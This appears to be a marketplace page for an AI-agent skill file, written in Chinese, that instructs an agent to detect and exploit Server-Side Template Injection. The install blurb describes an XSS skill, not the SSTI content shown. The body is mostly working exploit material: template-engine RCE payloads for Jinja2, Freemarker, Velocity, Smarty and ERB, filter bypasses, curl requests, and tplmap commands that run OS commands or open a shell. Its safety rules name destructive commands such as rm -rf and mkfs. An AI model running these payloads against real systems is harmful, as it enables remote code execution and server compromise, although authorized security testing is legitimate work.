用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/cdxiaodong/cain-agent --skill ssti命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
XSS 测试技能 —— 面向真实业务系统,区分渲染上下文(HTML/属性/JS/CSS/URL),覆盖存储型/反射型/DOM 型,对抗 CSP 与输入过滤,产出可复现 PoC
基于 SOC 职业分类
正在显示 SKILL.md
| name | ssti |
| description | SSTI 检测技能 —— 面向模板渲染系统,定位用户输入直接拼接到模板引擎上下文的端点,通过注入模板语法({{7*7}} ${7*7} <%=7*7%>)触发服务端计算或代码执行,产生可复现 PoC |
| phase | test |
| severity_focus | critical |
定位:面向模板渲染应用的 SSTI 漏洞,不是 XSS 扫描器。核心在于「识别哪些输入会被模板引擎解析」并「证明攻击者可通过注入模板语法执行服务端代码」—— 重点检测模板语法渲染(Jinja2/FreeMarker/Velocity/Smarty/Thymeleaf/ERB 等),而非简单的 HTML 注入。
SSTI(Server-Side Template Injection)的本质是:Web 应用在渲染模板时,直接将用户可控的输入拼接到模板上下文,未做过滤或转义,导致模板引擎将其解析为模板语法而非普通文本。
{{7*7}} → 渲染为 49${7*7} → 渲染为 49<%=7*7%> → 渲染为 49{7*7} → 渲染为 49#set($x=7*7)${x} → 渲染为 49{{config.__class__.__init__.__globals__['os'].popen('id').read()}}${"freemarker.template.utility.Execute"?new()("id")}#set($x='')##$x.class.forName('java.lang.Runtime').getRuntime().exec('id')关键判断依据:提交模板语法 Payload 后,服务端响应中包含计算结果(如 49)或特征输出,确认模板引擎解析了注入的语法。
满足以下任一信号即应进入本技能(侦查阶段 endpoints.json 标注了候选 SSTI 端点):
Not found: {{7*7}} → 渲染为 Not found: 49。template、view、render、format、layout、content、message、greeting、name、username 等参数。流程:输入点识别 → 注入多语法 Payload → 观察响应渲染 → 确认模板引擎 → 构造利用链
template、view、render、message、name 等)。核心验证动作——证明「输入被模板引擎解析」。
基础计算 Payload:在输入点提交以下 Payload,观察响应:
{{7*7}}
${7*7}
<%=7*7%>
{7*7}
${{7*7}}
#[[7*7]]
成功判断:
49 或其他计算结果。{{7*7}} 变为空或错误信息)。{{config.__class__.__init__.__globals__['os'].popen('sleep 5').read()}} 导致 5 秒延迟)。若无变化:尝试在 Payload 前后添加闭合语法(如 {{7*7}}}}、${{7*7}}),或测试不同参数。
确认存在 SSTI 后,识别具体的模板引擎类型。
语法特征识别:根据哪些 Payload 成功渲染判断:
{{7*7}} 成功 → Jinja2(Flask/Django)、Twig(PHP)${7*7} 成功 → Freemarker(Java)、Velocity(Java)、Spring EL<%=7*7%> 成功 → ERB(Ruby on Rails){7*7} 成功 → Smarty(PHP)环境变量注入:注入访问环境对象的语法获取系统信息:
{{config.items()}} → 返回配置信息${.globals} → 返回全局变量$context → 返回上下文对象错误信息分析:观察模板解析错误,错误消息中常包含引擎名称和版本。
确认引擎类型后,构造 RCE Payload 证明漏洞危害。
Jinja2 (Python) RCE:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('whoami').read()}}
Freemarker (Java) RCE:
${"freemarker.template.utility.Execute"?new()("id")}
Velocity (Java) RCE:
#set($x='')##$x.class.forName('java.lang.Runtime').getRuntime().exec('id')
Smarty (PHP) RCE:
{php}system('id');{/php}
{if phpinfo()}{/if}
ERB (Ruby) RCE:
<%=system('id')%>
对齐 DESIGN §3.1:L1 快速筛选候选 → L2 确认可利用 → L3 证明 RCE 能力
目标:快速识别哪些输入点存在模板语法渲染,不做完整利用。
{{7*7}}\n${7*7}\n<%=7*7%>,观察哪些端点响应出现 49。template、view、render、message、name 等暗示渲染的参数。目标:对 L1 筛选出的候选点,通过精确 Payload 确认 SSTI 存在。
{{config}}、${.globals} 等访问上下文对象的语法,验证是否能获取环境信息。目标:当基础 Payload 被过滤时,测试绕过方法。
{ {7*7} }、{{""["\x5f\x5fclass\x5f\x5f"]}})。${{{7*7}}})绕过单一语法过滤。__mro__、__subclasses__ 链)。# 基础 SSTI 检测
curl -G 'https://target.com/search' \
--data-urlencode 'q={{7*7}}' \
-H 'Cookie: session=USER_SESSION'
# POST 参数 SSTI
curl -X POST 'https://target.com/api/message' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Cookie: session=USER_SESSION' \
-d 'message={{7*7}}&username=test'
# Cookie SSTI
curl 'https://target.com/profile' \
-H 'Cookie: user_pref={{7*7}}; session=USER_SESSION'
# Jinja2 RCE Payload
curl -G 'https://target.com/search' \
--data-urlencode 'q={{config.__class__.__init__.__globals__["os"].popen("id").read()}}'
# Freemarker RCE Payload
curl -G 'https://target.com/view' \
--data-urlencode 'template=${"freemarker.template.utility.Execute"?new()("id")}'
# 基础扫描
tplmap -u 'https://target.com/search?q=TEST'
# POST 参数扫描
tplmap -u 'https://target.com/api/message' -d 'message=TEST&username=test'
# Cookie 扫描
tplmap -u 'https://target.com/profile' -H 'Cookie: user_pref=TEST'
# 指定引擎
tplmap -u 'https://target.com/search?q=TEST' --engine=jinja2
# 执行命令
tplmap -u 'https://target.com/search?q=TEST' --os-cmd='id'
# 获取交互 Shell
tplmap -u 'https://target.com/search?q=TEST' --os-shell
49 或其他渲染结果。每个确认的 SSTI 漏洞按以下 Finding 结构输出(result 初值 validation_inconclusive,留待校验流水线):
{
"id": "SSTI-001",
"type": "ssti",
"severity": "critical",
"status": "confirmed",
"result": "validation_inconclusive",
"title": "搜索接口存在 Jinja2 SSTI 漏洞,可执行任意系统命令",
"endpoint": "GET /search",
"description": "该端点的 q 参数被直接拼接到 Jinja2 模板上下文,攻击者可注入模板语法 {{7*7}} 被渲染为 49,进一步可访问 config 对象执行系统命令,获取服务器权限",
"payload": {
"method": "GET",
"url": "/search",
"parameter": "q",
"headers": {
"Cookie": "session=USER_SESSION"
},
什么才算确认 SSTI(禁止仅凭「响应包含 49」下结论,要证明模板语法被服务端解析):
{{7*7}} → 49)或对象信息({{config}} → 配置字典),这是核心判据。id、whoami、cat /etc/passwd),证明具备代码执行能力。id、whoami、ls /tmp);若必须测试写操作,选择测试目录或使用标记值便于回溯清理。rm -rf、dd、mkfs 等破坏性命令;禁止对生产环境执行高负载命令(如 fork bomb)。